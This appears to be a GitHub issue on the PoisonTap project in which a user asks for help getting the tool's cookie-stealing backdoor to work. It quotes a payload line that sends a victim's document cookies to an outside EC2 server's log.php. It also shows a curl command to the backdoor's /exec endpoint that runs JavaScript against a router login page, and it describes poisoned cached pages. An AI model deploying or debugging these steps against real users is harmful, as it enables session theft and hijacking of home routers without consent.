target_backdoor.js
Is this file supposed to be updated to reflect my publicly accessible domain with the correct port i.e.
new Image().src='http://ec2-15-185-131-5.us-east-2.compute.amazonaws.com:1337/poisontap/log.php?log='+document.cookies;Also, should this file be changed to look like the above on the device's "target_backdoor.js" or the server's "target_backdoor.js" or both?
I can get cookies logged onto the device itself. This cookie log is found on the device itself, but it is never created on the server, is that the intention?
If you could explain the mechanism of action behind "target_backdoor.js" a bit I would really appreciate it.
I have found that the attack works as expected, and I can see the cached urls in Chrome, but when I try to execute
curl 'http:///ec2-15-185-131-5.us-east-2.compute.amazonaws.com:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'for example, the console output on dev tools complains of CORS, as it redirects to the https version and never hits the cached url even when I explicitly use the string of a cahced "/PoisonTap" url. Here is an example console output when I execute the above:
Failed to load http://192.168.0.1.ip.samy.pl/login: Redirect from 'http://192.168.0.1.ip.samy.pl/login' to 'http://buckeye-lab.smartrg.com/prime-home/control-panel/login?device=1CABC0:1CABC09732D0' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://192.168.1.1.ip.samy.pl' is therefore not allowed access.If you can help clarify these two points I would really appreciate it.
Also, the cached pages i.e. "http://www.nfl.com/PoisonTap" when inspected with dev tools, do not seem to show the backdoor code, just 404 html pages for the url from nfl.com.
It seems "http://www.gstatic.com/generate_204" spawns and that is what makes the web socket connection. When I refresh that page, all connections to the server are closed, and I am unable to get a new connection without plugging the device in, waiting a few minutes, then unplugging, sometimes that does not even work, and I have to clear my browsing data, then plug in for a few minutes and then unplug.
Thanks in advance for your help.
Source: samyk/poisontap